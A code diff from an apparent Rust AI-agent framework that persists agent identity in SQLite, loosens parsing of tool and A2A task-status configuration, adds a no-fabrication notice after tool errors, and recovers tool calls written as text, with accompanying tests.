||||
"INSERT INTO agents (id, name, manifest, state, created_at, updated_at, session_id, identity)
|
||||
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8)
|
||||
ON CONFLICT(id) DO UPDATE SET name = ?2, manifest = ?3, state = ?4, updated_at = ?6, session_id = ?7, identity = ?8",
|
||||
rusqlite::params![
|
||||
entry.id.0.to_string(),
|
||||
entry.name,
|
||||
@@ -143,6 +151,7 @@ impl StructuredStore {
|
||||
entry.created_at.to_rfc3339(),
|
||||
now,
|
||||
entry.session_id.0.to_string(),
|
||||
identity_json,
|
||||
],
|
||||
)
|
||||
.map_err(|e| OpenFangError::Memory(e.to_string()))?;
|
||||
@@ -157,10 +166,13 @@ impl StructuredStore {
|
||||
.map_err(|e| OpenFangError::Internal(e.to_string()))?;
|
||||
|
||||
let mut stmt = conn
|
||||
.prepare("SELECT id, name, manifest, state, created_at, updated_at, session_id FROM agents WHERE id = ?1")
|
||||
.prepare("SELECT id, name, manifest, state, created_at, updated_at, session_id, identity FROM agents WHERE id = ?1")
|
||||
.or_else(|_| {
|
||||
// Fallback without session_id column for old DBs
|
||||
conn.prepare("SELECT id, name, manifest, state, created_at, updated_at FROM agents WHERE id = ?1")
|
||||
conn.prepare("SELECT id, name, manifest, state, created_at, updated_at, session_id FROM agents WHERE id = ?1")
|
||||
.or_else(|_| {
|
||||
// Fallback without session_id column for old DBs
|
||||
conn.prepare("SELECT id, name, manifest, state, created_at, updated_at FROM agents WHERE id = ?1")
|
||||
})
|
||||
})
|
||||
.map_err(|e| OpenFangError::Memory(e.to_string()))?;
|
||||
|
||||
@@ -175,11 +187,16 @@ impl StructuredStore {
|
||||
} else {
|
||||
None
|
||||
};
|
||||
Ok((name, manifest_blob, state_str, created_str, session_id_str))
|
||||
let identity_str: Option<String> = if col_count >= 8 {
|
||||
row.get(7).ok()
|
||||
} else {
|
||||
None
|
||||
};
|
||||
Ok((name, manifest_blob, state_str, created_str, session_id_str, identity_str))
|
||||
});
|
||||
|
||||
match result {
|
||||
Ok((name, manifest_blob, state_str, created_str, session_id_str)) => {
|
||||
Ok((name, manifest_blob, state_str, created_str, session_id_str, identity_str)) => {
|
||||
let manifest = rmp_serde::from_slice(&manifest_blob)
|
||||
.map_err(|e| OpenFangError::Serialization(e.to_string()))?;
|
||||
let state = serde_json::from_str(&state_str)
|
||||
@@ -191,6 +208,9 @@ impl StructuredStore {
|
||||
.and_then(|s| uuid::Uuid::parse_str(&s).ok())
|
||||
.map(openfang_types::agent::SessionId)
|
||||
.unwrap_or_else(openfang_types::agent::SessionId::new);
|
||||
let identity = identity_str
|
||||
.and_then(|s| serde_json::from_str(&s).ok())
|
||||
.unwrap_or_default();
|
||||
Ok(Some(AgentEntry {
|
||||
id: agent_id,
|
||||
name,
|
||||
@@ -203,7 +223,7 @@ impl StructuredStore {
|
||||
children: vec![],
|
||||
session_id,
|
||||
tags: vec![],
|
||||
identity: Default::default(),
|
||||
identity,
|
||||
onboarding_completed: false,
|
||||
onboarding_completed_at: None,
|
||||
}))
|
||||
@@ -239,11 +259,14 @@ impl StructuredStore {
|
||||
.lock()
|
||||
.map_err(|e| OpenFangError::Internal(e.to_string()))?;
|
||||
|
||||
// Try with session_id column first, fall back without
|
||||
// Try with identity+session_id columns first, fall back gracefully
|
||||
let mut stmt = conn
|
||||
.prepare(
|
||||
"SELECT id, name, manifest, state, created_at, updated_at, session_id FROM agents",
|
||||
"SELECT id, name, manifest, state, created_at, updated_at, session_id, identity FROM agents",
|
||||
)
|
||||
.or_else(|_| {
|
||||
conn.prepare("SELECT id, name, manifest, state, created_at, updated_at, session_id FROM agents")
|
||||
})
|
||||
.or_else(|_| {
|
||||
conn.prepare("SELECT id, name, manifest, state, created_at, updated_at FROM agents")
|
||||
})
|
||||
@@ -262,6 +285,11 @@ impl StructuredStore {
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let identity_str: Option<String> = if col_count >= 8 {
|
||||
row.get(7).ok()
|
||||
} else {
|
||||
None
|
||||
};
|
||||
Ok((
|
||||
id_str,
|
||||
name,
|
||||
@@ -269,6 +297,7 @@ impl StructuredStore {
|
||||
state_str,
|
||||
created_str,
|
||||
session_id_str,
|
||||
identity_str,
|
||||
))
|
||||
})
|
||||
.map_err(|e| OpenFangError::Memory(e.to_string()))?;
|
||||
@@ -278,7 +307,7 @@ impl StructuredStore {
|
||||
let mut repair_queue: Vec<(String, Vec<u8>, String)> = Vec::new();
|
||||
|
||||
for row in rows {
|
||||
let (id_str, name, manifest_blob, state_str, created_str, session_id_str) = match row {
|
||||
let (id_str, name, manifest_blob, state_str, created_str, session_id_str, identity_str) = match row {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
tracing::warn!("Skipping agent row with read error: {e}");
|
||||
@@ -342,6 +371,10 @@ impl StructuredStore {
|
||||
.map(openfang_types::agent::SessionId)
|
||||
.unwrap_or_else(openfang_types::agent::SessionId::new);
|
||||
|
||||
let identity = identity_str
|
||||
.and_then(|s| serde_json::from_str(&s).ok())
|
||||
.unwrap_or_default();
|
||||
|
||||
agents.push(AgentEntry {
|
||||
id: agent_id,
|
||||
name,
|
||||
@@ -354,7 +387,7 @@ impl StructuredStore {
|
||||
children: vec![],
|
||||
session_id,
|
||||
tags: vec![],
|
||||
identity: Default::default(),
|
||||
identity,
|
||||
onboarding_completed: false,
|
||||
onboarding_completed_at: None,
|
||||
});
|
||||
|
||||
@@ -64,11 +64,11 @@ struct OpenClawModels {
|
||||
#[serde(default, rename_all = "camelCase")]
|
||||
struct OpenClawRootTools {
|
||||
#[allow(dead_code)]
|
||||
profile: Option<String>,
|
||||
profile: Option<serde_json::Value>,
|
||||
#[allow(dead_code)]
|
||||
allow: Option<Vec<String>>,
|
||||
allow: Option<serde_json::Value>,
|
||||
#[allow(dead_code)]
|
||||
deny: Option<Vec<String>>,
|
||||
deny: Option<serde_json::Value>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Default, Deserialize)]
|
||||
@@ -117,10 +117,28 @@ struct OpenClawAgentEntry {
|
||||
#[derive(Debug, Default, Clone, Deserialize)]
|
||||
#[serde(default, rename_all = "camelCase")]
|
||||
struct OpenClawAgentTools {
|
||||
profile: Option<String>,
|
||||
allow: Option<Vec<String>>,
|
||||
deny: Option<Vec<String>>,
|
||||
also_allow: Option<Vec<String>>,
|
||||
profile: Option<serde_json::Value>,
|
||||
allow: Option<serde_json::Value>,
|
||||
deny: Option<serde_json::Value>,
|
||||
also_allow: Option<serde_json::Value>,
|
||||
}
|
||||
|
||||
/// Extract a profile name from a Value (string or {name: "..."} object).
|
||||
fn extract_profile(val: &serde_json::Value) -> Option<String> {
|
||||
val.as_str()
|
||||
.map(|s| s.to_string())
|
||||
.or_else(|| val.get("name").and_then(|v| v.as_str()).map(|s| s.to_string()))
|
||||
}
|
||||
|
||||
/// Extract a list of strings from a Value (array of strings, or single string).
|
||||
fn extract_string_list(val: &serde_json::Value) -> Vec<String> {
|
||||
match val {
|
||||
serde_json::Value::Array(arr) => {
|
||||
arr.iter().filter_map(|v| v.as_str()).map(|s| s.to_string()).collect()
|
||||
}
|
||||
serde_json::Value::String(s) => vec![s.clone()],
|
||||
_ => vec![],
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Default, Deserialize)]
|
||||
@@ -811,13 +829,14 @@ fn scan_from_json5(base: &Path, config_path: &Path, result: &mut ScanResult) {
|
||||
.tools
|
||||
.as_ref()
|
||||
.and_then(|t| t.allow.as_ref())
|
||||
.map(|a| a.len())
|
||||
.map(|a| extract_string_list(a).len())
|
||||
.or_else(|| {
|
||||
entry
|
||||
.tools
|
||||
.as_ref()
|
||||
.and_then(|t| t.profile.as_ref())
|
||||
.map(|p| tools_for_profile(p).len())
|
||||
.and_then(extract_profile)
|
||||
.map(|p| tools_for_profile(&p).len())
|
||||
})
|
||||
.unwrap_or(3);
|
||||
|
||||
@@ -1770,9 +1789,10 @@ fn convert_agent_from_json(
|
||||
// Resolve tools
|
||||
let mut unmapped_tools = Vec::new();
|
||||
let tools: Vec<String> = if let Some(ref agent_tools) = entry.tools {
|
||||
if let Some(ref allow) = agent_tools.allow {
|
||||
if let Some(ref allow_val) = agent_tools.allow {
|
||||
let allow = extract_string_list(allow_val);
|
||||
let mut mapped = Vec::new();
|
||||
for t in allow {
|
||||
for t in &allow {
|
||||
if is_known_openfang_tool(t) {
|
||||
mapped.push(t.clone());
|
||||
} else if let Some(of_name) = map_tool_name(t) {
|
||||
@@ -1782,8 +1802,9 @@ fn convert_agent_from_json(
|
||||
}
|
||||
}
|
||||
// also_allow
|
||||
if let Some(ref also) = agent_tools.also_allow {
|
||||
for t in also {
|
||||
if let Some(ref also_val) = agent_tools.also_allow {
|
||||
let also = extract_string_list(also_val);
|
||||
for t in &also {
|
||||
if is_known_openfang_tool(t) {
|
||||
mapped.push(t.clone());
|
||||
} else if let Some(of_name) = map_tool_name(t) {
|
||||
@@ -1794,8 +1815,9 @@ fn convert_agent_from_json(
|
||||
}
|
||||
}
|
||||
mapped
|
||||
} else if let Some(ref profile) = agent_tools.profile {
|
||||
tools_for_profile(profile)
|
||||
} else if let Some(ref profile_val) = agent_tools.profile {
|
||||
let profile_name = extract_profile(profile_val).unwrap_or_default();
|
||||
tools_for_profile(&profile_name)
|
||||
} else {
|
||||
resolve_default_tools(defaults)
|
||||
}
|
||||
@@ -1894,8 +1916,10 @@ fn convert_agent_from_json(
|
||||
|
||||
// Tool profile hint
|
||||
if let Some(ref agent_tools) = entry.tools {
|
||||
if let Some(ref profile) = agent_tools.profile {
|
||||
toml_str.push_str(&format!("\nprofile = \"{profile}\"\n"));
|
||||
if let Some(ref profile_val) = agent_tools.profile {
|
||||
if let Some(profile) = extract_profile(profile_val) {
|
||||
toml_str.push_str(&format!("\nprofile = \"{profile}\"\n"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1905,12 +1929,15 @@ fn convert_agent_from_json(
|
||||
fn resolve_default_tools(defaults: Option<&OpenClawAgentDefaults>) -> Vec<String> {
|
||||
if let Some(defs) = defaults {
|
||||
if let Some(ref tools) = defs.tools {
|
||||
if let Some(ref profile) = tools.profile {
|
||||
return tools_for_profile(profile);
|
||||
if let Some(ref profile_val) = tools.profile {
|
||||
if let Some(profile) = extract_profile(profile_val) {
|
||||
return tools_for_profile(&profile);
|
||||
}
|
||||
}
|
||||
if let Some(ref allow) = tools.allow {
|
||||
if let Some(ref allow_val) = tools.allow {
|
||||
let allow = extract_string_list(allow_val);
|
||||
let mut mapped = Vec::new();
|
||||
for t in allow {
|
||||
for t in &allow {
|
||||
if is_known_openfang_tool(t) {
|
||||
mapped.push(t.clone());
|
||||
} else if let Some(of_name) = map_tool_name(t) {
|
||||
|
||||
@@ -29,7 +29,9 @@ hex = { workspace = true }
|
||||
zeroize = { workspace = true }
|
||||
dashmap = { workspace = true }
|
||||
regex-lite = { workspace = true }
|
||||
rusqlite = { workspace = true }
|
||||
tokio-tungstenite = "0.24"
|
||||
shlex = "1"
|
||||
|
||||
[dev-dependencies]
|
||||
tokio-test = { workspace = true }
|
||||
|
||||
@@ -87,8 +87,8 @@ pub struct A2aTask {
|
||||
/// Optional session identifier for conversation continuity.
|
||||
#[serde(default)]
|
||||
pub session_id: Option<String>,
|
||||
/// Current task status.
|
||||
pub status: A2aTaskStatus,
|
||||
/// Current task status (accepts both string and object forms).
|
||||
pub status: A2aTaskStatusWrapper,
|
||||
/// Messages exchanged during the task.
|
||||
#[serde(default)]
|
||||
pub messages: Vec<A2aMessage>,
|
||||
@@ -115,6 +115,44 @@ pub enum A2aTaskStatus {
|
||||
Failed,
|
||||
}
|
||||
|
||||
/// Wrapper that accepts either a bare status string (`"completed"`)
|
||||
/// or the object form (`{"state": "completed", "message": null}`)
|
||||
/// used by some A2A implementations.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(untagged)]
|
||||
pub enum A2aTaskStatusWrapper {
|
||||
/// Object form: `{"state": "completed", "message": ...}`.
|
||||
Object {
|
||||
state: A2aTaskStatus,
|
||||
#[serde(default)]
|
||||
message: Option<serde_json::Value>,
|
||||
},
|
||||
/// Bare enum form: `"completed"`.
|
||||
Enum(A2aTaskStatus),
|
||||
}
|
||||
|
||||
impl A2aTaskStatusWrapper {
|
||||
/// Extract the underlying `A2aTaskStatus` regardless of encoding form.
|
||||
pub fn state(&self) -> &A2aTaskStatus {
|
||||
match self {
|
||||
Self::Object { state, .. } => state,
|
||||
Self::Enum(s) => s,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl From<A2aTaskStatus> for A2aTaskStatusWrapper {
|
||||
fn from(status: A2aTaskStatus) -> Self {
|
||||
Self::Enum(status)
|
||||
}
|
||||
}
|
||||
|
||||
impl PartialEq<A2aTaskStatus> for A2aTaskStatusWrapper {
|
||||
fn eq(&self, other: &A2aTaskStatus) -> bool {
|
||||
self.state() == other
|
||||
}
|
||||
}
|
||||
|
||||
/// A2A message in a task conversation.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct A2aMessage {
|
||||
@@ -145,9 +183,23 @@ pub enum A2aPart {
|
||||
|
||||
/// A2A artifact produced by a task.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct A2aArtifact {
|
||||
/// Artifact name.
|
||||
pub name: String,
|
||||
/// Artifact name (optional per spec).
|
||||
#[serde(default)]
|
||||
pub name: Option<String>,
|
||||
/// Human-readable description.
|
||||
#[serde(default)]
|
||||
pub description: Option<String>,
|
||||
/// Arbitrary metadata.
|
||||
#[serde(default)]
|
||||
pub metadata: Option<serde_json::Value>,
|
||||
/// Artifact index in the sequence.
|
||||
#[serde(default)]
|
||||
pub index: Option<u32>,
|
||||
/// Whether this is the last chunk of a streamed artifact.
|
||||
#[serde(default)]
|
||||
pub last_chunk: Option<bool>,
|
||||
/// Artifact content parts.
|
||||
pub parts: Vec<A2aPart>,
|
||||
}
|
||||
@@ -185,7 +237,7 @@ impl A2aTaskStore {
|
||||
.iter()
|
||||
.filter(|(_, t)| {
|
||||
matches!(
|
||||
t.status,
|
||||
t.status.state(),
|
||||
A2aTaskStatus::Completed | A2aTaskStatus::Failed | A2aTaskStatus::Cancelled
|
||||
)
|
||||
})
|
||||
@@ -211,7 +263,7 @@ impl A2aTaskStore {
|
||||
pub fn update_status(&self, task_id: &str, status: A2aTaskStatus) -> bool {
|
||||
let mut tasks = self.tasks.lock().unwrap_or_else(|e| e.into_inner());
|
||||
if let Some(task) = tasks.get_mut(task_id) {
|
||||
task.status = status;
|
||||
task.status = status.into();
|
||||
true
|
||||
} else {
|
||||
false
|
||||
@@ -224,7 +276,7 @@ impl A2aTaskStore {
|
||||
if let Some(task) = tasks.get_mut(task_id) {
|
||||
task.messages.push(response);
|
||||
task.artifacts.extend(artifacts);
|
||||
task.status = A2aTaskStatus::Completed;
|
||||
task.status = A2aTaskStatus::Completed.into();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -233,7 +285,7 @@ impl A2aTaskStore {
|
||||
let mut tasks = self.tasks.lock().unwrap_or_else(|e| e.into_inner());
|
||||
if let Some(task) = tasks.get_mut(task_id) {
|
||||
task.messages.push(error_message);
|
||||
task.status = A2aTaskStatus::Failed;
|
||||
task.status = A2aTaskStatus::Failed.into();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -490,7 +542,7 @@ mod tests {
|
||||
let task = A2aTask {
|
||||
id: "task-1".to_string(),
|
||||
session_id: None,
|
||||
status: A2aTaskStatus::Submitted,
|
||||
status: A2aTaskStatus::Submitted.into(),
|
||||
messages: vec![],
|
||||
artifacts: vec![],
|
||||
};
|
||||
@@ -498,30 +550,71 @@ mod tests {
|
||||
|
||||
// Simulate progression
|
||||
let working = A2aTask {
|
||||
status: A2aTaskStatus::Working,
|
||||
status: A2aTaskStatus::Working.into(),
|
||||
..task.clone()
|
||||
};
|
||||
assert_eq!(working.status, A2aTaskStatus::Working);
|
||||
|
||||
let completed = A2aTask {
|
||||
status: A2aTaskStatus::Completed,
|
||||
status: A2aTaskStatus::Completed.into(),
|
||||
..task.clone()
|
||||
};
|
||||
assert_eq!(completed.status, A2aTaskStatus::Completed);
|
||||
|
||||
let cancelled = A2aTask {
|
||||
status: A2aTaskStatus::Cancelled,
|
||||
status: A2aTaskStatus::Cancelled.into(),
|
||||
..task.clone()
|
||||
};
|
||||
assert_eq!(cancelled.status, A2aTaskStatus::Cancelled);
|
||||
|
||||
let failed = A2aTask {
|
||||
status: A2aTaskStatus::Failed,
|
||||
status: A2aTaskStatus::Failed.into(),
|
||||
..task
|
||||
};
|
||||
assert_eq!(failed.status, A2aTaskStatus::Failed);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_a2a_task_status_wrapper_object_form() {
|
||||
// Test deserialization of the object form: {"state": "completed", "message": null}
|
||||
let json = r#"{"state":"completed","message":null}"#;
|
||||
let wrapper: A2aTaskStatusWrapper = serde_json::from_str(json).unwrap();
|
||||
assert_eq!(wrapper, A2aTaskStatus::Completed);
|
||||
assert_eq!(wrapper.state(), &A2aTaskStatus::Completed);
|
||||
|
||||
// Test with a message payload
|
||||
let json_with_msg =
|
||||
r#"{"state":"working","message":{"text":"Processing..."}}"#;
|
||||
let wrapper2: A2aTaskStatusWrapper = serde_json::from_str(json_with_msg).unwrap();
|
||||
assert_eq!(wrapper2, A2aTaskStatus::Working);
|
||||
|
||||
// Test bare string form
|
||||
let json_bare = r#""completed""#;
|
||||
let wrapper3: A2aTaskStatusWrapper = serde_json::from_str(json_bare).unwrap();
|
||||
assert_eq!(wrapper3, A2aTaskStatus::Completed);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_a2a_artifact_optional_fields() {
|
||||
// name is now optional — artifact with no name should deserialize
|
||||
let json = r#"{"parts":[{"type":"text","text":"hello"}]}"#;
|
||||
let artifact: A2aArtifact = serde_json::from_str(json).unwrap();
|
||||
assert!(artifact.name.is_none());
|
||||
assert!(artifact.description.is_none());
|
||||
assert!(artifact.metadata.is_none());
|
||||
assert!(artifact.index.is_none());
|
||||
assert!(artifact.last_chunk.is_none());
|
||||
assert_eq!(artifact.parts.len(), 1);
|
||||
|
||||
// Full artifact with all optional fields
|
||||
let json_full = r#"{"name":"output.txt","description":"The result","metadata":{"key":"val"},"index":0,"lastChunk":true,"parts":[]}"#;
|
||||
let full: A2aArtifact = serde_json::from_str(json_full).unwrap();
|
||||
assert_eq!(full.name.as_deref(), Some("output.txt"));
|
||||
assert_eq!(full.description.as_deref(), Some("The result"));
|
||||
assert_eq!(full.index, Some(0));
|
||||
assert_eq!(full.last_chunk, Some(true));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_a2a_message_serde() {
|
||||
let msg = A2aMessage {
|
||||
@@ -554,7 +647,7 @@ mod tests {
|
||||
let task = A2aTask {
|
||||
id: "t-1".to_string(),
|
||||
session_id: None,
|
||||
status: A2aTaskStatus::Working,
|
||||
status: A2aTaskStatus::Working.into(),
|
||||
messages: vec![],
|
||||
artifacts: vec![],
|
||||
};
|
||||
@@ -571,7 +664,7 @@ mod tests {
|
||||
let task = A2aTask {
|
||||
id: "t-2".to_string(),
|
||||
session_id: None,
|
||||
status: A2aTaskStatus::Working,
|
||||
status: A2aTaskStatus::Working.into(),
|
||||
messages: vec![],
|
||||
artifacts: vec![],
|
||||
};
|
||||
@@ -599,7 +692,7 @@ mod tests {
|
||||
let task = A2aTask {
|
||||
id: "t-3".to_string(),
|
||||
session_id: None,
|
||||
status: A2aTaskStatus::Working,
|
||||
status: A2aTaskStatus::Working.into(),
|
||||
messages: vec![],
|
||||
artifacts: vec![],
|
||||
};
|
||||
@@ -618,7 +711,7 @@ mod tests {
|
||||
let task = A2aTask {
|
||||
id: format!("t-{i}"),
|
||||
session_id: None,
|
||||
status: A2aTaskStatus::Completed,
|
||||
status: A2aTaskStatus::Completed.into(),
|
||||
messages: vec![],
|
||||
artifacts: vec![],
|
||||
};
|
||||
@@ -630,7 +723,7 @@ mod tests {
|
||||
let task = A2aTask {
|
||||
id: "t-2".to_string(),
|
||||
session_id: None,
|
||||
status: A2aTaskStatus::Working,
|
||||
status: A2aTaskStatus::Working.into(),
|
||||
messages: vec![],
|
||||
artifacts: vec![],
|
||||
};
|
||||
|
||||
@@ -706,6 +706,23 @@ pub async fn run_agent_loop(
|
||||
});
|
||||
}
|
||||
|
||||
// Detect tool errors and inject guidance to prevent fabrication
|
||||
let error_count = tool_result_blocks.iter().filter(|b| {
|
||||
matches!(b, ContentBlock::ToolResult { is_error: true, .. })
|
||||
}).count();
|
||||
let non_denial_errors = error_count.saturating_sub(denial_count);
|
||||
if non_denial_errors > 0 {
|
||||
tool_result_blocks.push(ContentBlock::Text {
|
||||
text: format!(
|
||||
"[System: {} tool(s) returned errors. Report the error honestly \
|
||||
to the user. Do NOT fabricate results or pretend the tool succeeded. \
|
||||
If a search or fetch failed, tell the user it failed and suggest \
|
||||
alternatives instead of making up data.]",
|
||||
non_denial_errors
|
||||
),
|
||||
});
|
||||
}
|
||||
|
||||
// Add tool results as a user message (Anthropic API requirement)
|
||||
let tool_results_msg = Message {
|
||||
role: Role::User,
|
||||
@@ -1629,6 +1646,23 @@ pub async fn run_agent_loop_streaming(
|
||||
});
|
||||
}
|
||||
|
||||
// Detect tool errors and inject guidance to prevent fabrication
|
||||
let error_count = tool_result_blocks.iter().filter(|b| {
|
||||
matches!(b, ContentBlock::ToolResult { is_error: true, .. })
|
||||
}).count();
|
||||
let non_denial_errors = error_count.saturating_sub(denial_count);
|
||||
if non_denial_errors > 0 {
|
||||
tool_result_blocks.push(ContentBlock::Text {
|
||||
text: format!(
|
||||
"[System: {} tool(s) returned errors. Report the error honestly \
|
||||
to the user. Do NOT fabricate results or pretend the tool succeeded. \
|
||||
If a search or fetch failed, tell the user it failed and suggest \
|
||||
alternatives instead of making up data.]",
|
||||
non_denial_errors
|
||||
),
|
||||
});
|
||||
}
|
||||
|
||||
let tool_results_msg = Message {
|
||||
role: Role::User,
|
||||
content: MessageContent::Blocks(tool_result_blocks.clone()),
|
||||
@@ -1835,6 +1869,136 @@ fn recover_text_tool_calls(text: &str, available_tools: &[ToolDefinition]) -> Ve
|
||||
});
|
||||
}
|
||||
|
||||
// Pattern 3: <tool>TOOL_NAME{JSON}</tool> (Qwen / DeepSeek variant)
|
||||
search_from = 0;
|
||||
while let Some(start) = text[search_from..].find("<tool>") {
|
||||
let abs_start = search_from + start;
|
||||
let after_tag = abs_start + "<tool>".len();
|
||||
|
||||
let Some(close_offset) = text[after_tag..].find("</tool>") else {
|
||||
search_from = after_tag;
|
||||
continue;
|
||||
};
|
||||
let inner = &text[after_tag..after_tag + close_offset];
|
||||
search_from = after_tag + close_offset + "</tool>".len();
|
||||
|
||||
let Some(brace_pos) = inner.find('{') else {
|
||||
continue;
|
||||
};
|
||||
let tool_name = inner[..brace_pos].trim();
|
||||
let json_body = inner[brace_pos..].trim();
|
||||
|
||||
if tool_name.is_empty() || !tool_names.contains(&tool_name) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let input: serde_json::Value = match serde_json::from_str(json_body) {
|
||||
Ok(v) => v,
|
||||
Err(_) => continue,
|
||||
};
|
||||
|
||||
if calls
|
||||
.iter()
|
||||
.any(|c| c.name == tool_name && c.input == input)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
info!(
|
||||
tool = tool_name,
|
||||
"Recovered text-based tool call (<tool> variant) → synthetic ToolUse"
|
||||
);
|
||||
calls.push(ToolCall {
|
||||
id: format!("recovered_{}", uuid::Uuid::new_v4()),
|
||||
name: tool_name.to_string(),
|
||||
input,
|
||||
});
|
||||
}
|
||||
|
||||
// Pattern 4: Markdown code blocks containing tool_name {JSON}
|
||||
// Matches: ```\nexec {"command":"ls"}\n``` or ```bash\nexec {"command":"ls"}\n```
|
||||
{
|
||||
let mut in_block = false;
|
||||
let mut block_content = String::new();
|
||||
for line in text.lines() {
|
||||
let trimmed = line.trim();
|
||||
if trimmed.starts_with("```") {
|
||||
if in_block {
|
||||
// End of block — try to extract tool call from content
|
||||
let content = block_content.trim();
|
||||
if let Some(brace_pos) = content.find('{') {
|
||||
let potential_tool = content[..brace_pos].trim();
|
||||
if tool_names.contains(&potential_tool) {
|
||||
if let Ok(input) = serde_json::from_str::<serde_json::Value>(
|
||||
content[brace_pos..].trim(),
|
||||
) {
|
||||
if !calls
|
||||
.iter()
|
||||
.any(|c| c.name == potential_tool && c.input == input)
|
||||
{
|
||||
info!(
|
||||
tool = potential_tool,
|
||||
"Recovered tool call from markdown code block"
|
||||
);
|
||||
calls.push(ToolCall {
|
||||
id: format!("recovered_{}", uuid::Uuid::new_v4()),
|
||||
name: potential_tool.to_string(),
|
||||
input,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
block_content.clear();
|
||||
in_block = false;
|
||||
} else {
|
||||
in_block = true;
|
||||
block_content.clear();
|
||||
}
|
||||
} else if in_block {
|
||||
if !block_content.is_empty() {
|
||||
block_content.push('\n');
|
||||
}
|
||||
block_content.push_str(trimmed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Pattern 5: Backtick-wrapped tool call: `tool_name {"key":"value"}`
|
||||
{
|
||||
let parts: Vec<&str> = text.split('`').collect();
|
||||
// Every odd-indexed element is inside backticks
|
||||
for chunk in parts.iter().skip(1).step_by(2) {
|
||||
let trimmed = chunk.trim();
|
||||
if let Some(brace_pos) = trimmed.find('{') {
|
||||
let potential_tool = trimmed[..brace_pos].trim();
|
||||
if !potential_tool.is_empty()
|
||||
&& !potential_tool.contains(' ')
|
||||
&& tool_names.contains(&potential_tool)
|
||||
{
|
||||
if let Ok(input) =
|
||||
serde_json::from_str::<serde_json::Value>(trimmed[brace_pos..].trim())
|
||||
{
|
||||
if !calls
|
||||
.iter()
|
||||
.any(|c| c.name == potential_tool && c.input == input)
|
||||
{
|
||||
info!(
|
||||
tool = potential_tool,
|
||||
"Recovered tool call from backtick-wrapped text"
|
||||
);
|
||||
calls.push(ToolCall {
|
||||
id: format!("recovered_{}", uuid::Uuid::new_v4()),
|
||||
name: potential_tool.to_string(),
|
||||
input,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
calls
|
||||
}
|
||||
|
||||
@@ -2692,6 +2856,86 @@ mod tests {
|
||||
assert_eq!(calls[1].name, "web_fetch");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_recover_tool_tag_variant() {
|
||||
let tools = vec![ToolDefinition {
|
||||
name: "exec".into(),
|
||||
description: "Execute".into(),
|
||||
input_schema: serde_json::json!({}),
|
||||
}];
|
||||
let text = r#"I'll run that for you. <tool>exec{"command":"ls -la"}</tool>"#;
|
||||
let calls = recover_text_tool_calls(text, &tools);
|
||||
assert_eq!(calls.len(), 1);
|
||||
assert_eq!(calls[0].name, "exec");
|
||||
assert_eq!(calls[0].input["command"], "ls -la");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_recover_markdown_code_block() {
|
||||
let tools = vec![ToolDefinition {
|
||||
name: "exec".into(),
|
||||
description: "Execute".into(),
|
||||
input_schema: serde_json::json!({}),
|
||||
}];
|
||||
let text = "I'll execute that command:\n```\nexec {\"command\": \"ls -la\"}\n```";
|
||||
let calls = recover_text_tool_calls(text, &tools);
|
||||
assert_eq!(calls.len(), 1);
|
||||
assert_eq!(calls[0].name, "exec");
|
||||
assert_eq!(calls[0].input["command"], "ls -la");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_recover_markdown_code_block_with_lang() {
|
||||
let tools = vec![ToolDefinition {
|
||||
name: "web_search".into(),
|
||||
description: "Search".into(),
|
||||
input_schema: serde_json::json!({}),
|
||||
}];
|
||||
let text = "```json\nweb_search {\"query\": \"rust\"}\n```";
|
||||
let calls = recover_text_tool_calls(text, &tools);
|
||||
assert_eq!(calls.len(), 1);
|
||||
assert_eq!(calls[0].name, "web_search");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_recover_backtick_wrapped() {
|
||||
let tools = vec![ToolDefinition {
|
||||
name: "exec".into(),
|
||||
description: "Execute".into(),
|
||||
input_schema: serde_json::json!({}),
|
||||
}];
|
||||
let text = r#"Let me run `exec {"command":"pwd"}` for you."#;
|
||||
let calls = recover_text_tool_calls(text, &tools);
|
||||
assert_eq!(calls.len(), 1);
|
||||
assert_eq!(calls[0].name, "exec");
|
||||
assert_eq!(calls[0].input["command"], "pwd");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_recover_backtick_ignores_unknown_tool() {
|
||||
let tools = vec![ToolDefinition {
|
||||
name: "exec".into(),
|
||||
description: "Execute".into(),
|
||||
input_schema: serde_json::json!({}),
|
||||
}];
|
||||
let text = r#"Try `unknown_tool {"key":"val"}` instead."#;
|
||||
let calls = recover_text_tool_calls(text, &tools);
|
||||
assert!(calls.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_recover_no_duplicates_across_patterns() {
|
||||
let tools = vec![ToolDefinition {
|
||||
name: "exec".into(),
|
||||
description: "Execute".into(),
|
||||
input_schema: serde_json::json!({}),
|
||||
}];
|
||||
// Same call in both function tag and tool tag — should only appear once
|
||||
let text = r#"<function=exec>{"command":"ls"}</function> <tool>exec{"command":"ls"}</tool>"#;
|
||||
let calls = recover_text_tool_calls(text, &tools);
|
||||
assert_eq!(calls.len(), 1);
|
||||
}
|
||||
|
||||
// --- End-to-end integration test: text-as-tool-call recovery through agent loop ---
|
||||
|
||||
/// Mock driver that simulates a Groq/Llama model outputting tool calls as text.
|
||||
|
||||
